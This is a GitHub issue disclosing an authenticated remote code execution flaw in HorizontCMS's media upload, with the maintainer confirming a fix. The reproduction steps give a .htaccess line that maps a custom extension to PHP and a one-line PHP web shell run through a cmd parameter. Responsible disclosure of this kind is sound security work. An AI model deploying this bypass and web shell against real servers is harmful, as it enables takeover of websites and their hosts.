Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authenticated Remote Code Execution via a Media Files Upload (PHP Filetype Bypass) #30

Open
bigb0sss opened this issue Mar 15, 2021 · 2 comments
Assignees
Labels

Comments

@bigb0sss
Copy link

bigb0sss commented Mar 15, 2021

Description of the Issue

One who is able to log into the admin panel can gain Remote Code Execution via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.

Reproduction of the Issue

  1. Login to the admin panel (http:///admin/login)
  2. Go to "Media" --> "Files"
  3. Upload the following file --> Rename the file name as ".htaccess"
AddType application/x-httpd-php .hello
  1. Upload another following file --> Rename the file name as "test.hello"
<?php system($_GET['cmd']); ?>
  1. Go to http://<HorizontCMS IP/storage/test.hello?cmd= for RCE

Screenshots

  • Upload files and rename them:
    01

image

image

image

02

  • Gain RCE
    image

Root Cause

  • Allowing an arbitrary file & rename functionality is not properly sanitizing the file extension.

Recommendations

  • Re-work on file upload function where they should always check for MIME-Type and file extension
  • Avoid leaving the file upload folder ("/storage") open

Please let us know if you have any questions or need further information. Thanks!

Daniel Min & Chi Tran

@ttimot24 ttimot24 self-assigned this Mar 16, 2021
@bigb0sss bigb0sss changed the title Authenticated Remote Code Execution via a Media Files Upload (Filetype Bypass) Authenticated Remote Code Execution via a Media Files Upload (PHP Filetype Bypass) Mar 17, 2021
@ttimot24
Copy link
Owner

ttimot24 commented May 23, 2021

Hi @bigb0sss,

This issue is addressed on the latest commit on master. The next release (1.0.0-beta.3) will contain this fix. Please mention this in your blogpost also.

Thank you!

@bigb0sss
Copy link
Author

HI @ttimot24,

Thanks for addressing the issue! We will update our blog post as well.

Thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants